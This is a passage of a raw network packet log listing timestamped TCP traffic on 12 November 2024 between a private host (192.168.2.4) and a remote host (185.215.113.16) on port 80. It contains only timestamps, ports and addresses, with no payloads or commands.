Nov 12, 2024 21:21:45.504870892 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.504890919 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.504910946 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.505131960 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505148888 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505158901 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505168915 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.505181074 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.505198002 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.505271912 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505316019 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.505474091 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505486012 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505501986 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505511999 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505517006 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.505517006 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.505531073 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505542994 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505542994 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.505558968 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505561113 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.505573988 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505585909 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505589008 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.505598068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505608082 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505616903 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.505619049 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505630970 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505654097 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505661964 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.505665064 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505676031 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.505676985 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505687952 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505693913 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.505700111 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505709887 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505718946 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505721092 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.505731106 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505754948 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.505759954 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.505764008 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.505800009 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.506002903 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506042004 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.506357908 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506370068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506398916 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506400108 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.506408930 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.506432056 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.506490946 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506501913 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506519079 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506531000 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506535053 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.506541014 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506542921 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.506553888 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506563902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506567001 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.506577015 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506587982 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506592035 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.506592035 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.506599903 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506619930 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.506628990 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506639004 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506649017 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.506649017 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506664991 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506669998 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.506676912 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506690025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506699085 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506709099 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506719112 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506730080 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506740093 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506767988 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506778955 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506788015 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506818056 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.506900072 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.506925106 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.506925106 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.506925106 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.506925106 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.506925106 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.506925106 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.506925106 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.506925106 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507114887 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507126093 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507136106 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507149935 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507169008 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507169962 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507206917 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507229090 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507240057 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507252932 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507261992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507266998 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507272959 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507278919 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507286072 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507293940 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507297993 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507308960 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507322073 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507324934 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507333040 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507337093 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507349014 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507359028 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507365942 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507370949 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507381916 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507391930 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507394075 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507400036 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507405043 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507417917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507425070 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507430077 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507441044 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507451057 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507466078 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507483006 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507486105 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507493973 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507503986 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507517099 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507527113 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507538080 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507541895 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507544994 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507556915 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507567883 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507570982 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507580042 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507591963 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507591963 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507603884 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507615089 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507626057 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507631063 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507637978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507639885 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507648945 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507661104 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507664919 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507674932 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507694960 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507704973 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.507710934 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.507741928 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.508150101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.508187056 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.508323908 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.508336067 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.508352041 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.508361101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.508372068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.508378029 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.508383989 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.508388042 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.508394957 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.508404970 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.508407116 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.508420944 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.508428097 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.508431911 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.508444071 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.508446932 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.508455038 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.508466959 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.508472919 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.508480072 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.508491993 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.508507013 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.508516073 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.508527994 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.508533001 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.508548975 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.508574963 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.513278961 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.513297081 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.513309002 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.513323069 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.513334036 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.513339996 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.513339996 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.513345003 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.513358116 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.513360977 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.513381004 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.513391018 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.513403893 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.513413906 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.513420105 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.513428926 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.513430119 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.513441086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.513452053 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.513458967 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.513463020 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.513485909 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.513511896 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.514317989 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.514338017 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.514348984 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.514359951 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.514362097 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.514362097 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.514372110 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.514384031 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.514389038 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.514396906 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.514415026 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.514424086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.514442921 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.514463902 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.514990091 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515002966 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515013933 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515026093 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515036106 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515037060 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.515048027 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515060902 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.515079021 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515100002 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.515104055 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515115023 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515117884 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.515127897 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515139103 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515139103 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.515160084 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.515161037 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515181065 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.515189886 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515202999 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515213966 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515213966 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.515227079 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515238047 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515239954 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.515249968 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515254021 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.515254021 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.515263081 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515275002 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515285969 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.515294075 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.515285969 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515311003 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515321970 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.515326977 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515331984 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.515338898 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515352964 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515362978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515368938 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515379906 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515398979 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.515398979 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.515427113 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.515893936 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515913010 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515925884 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515935898 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515937090 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.515948057 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515961885 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515969038 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.515980005 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.515991926 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516001940 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.516011000 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.516020060 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516032934 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516042948 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516043901 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.516050100 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.516055107 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516067028 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516074896 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.516078949 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516083956 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.516091108 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516100883 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.516119957 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516130924 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.516141891 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516159058 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516164064 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.516170979 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516182899 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516189098 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.516194105 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516202927 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.516206980 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516220093 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516228914 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.516232014 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516251087 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.516258955 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516272068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516274929 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.516283035 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516304970 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.516308069 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516313076 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.516321898 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516326904 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.516333103 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.516349077 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.516365051 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.517100096 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.517132044 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.517143011 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.517147064 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.517155886 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.517164946 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.517174006 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.517185926 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.517191887 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.517199993 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.517205954 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.517225981 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.517231941 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.517231941 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.517236948 CET	80	49762	185.215.113.16	192.168.2.4
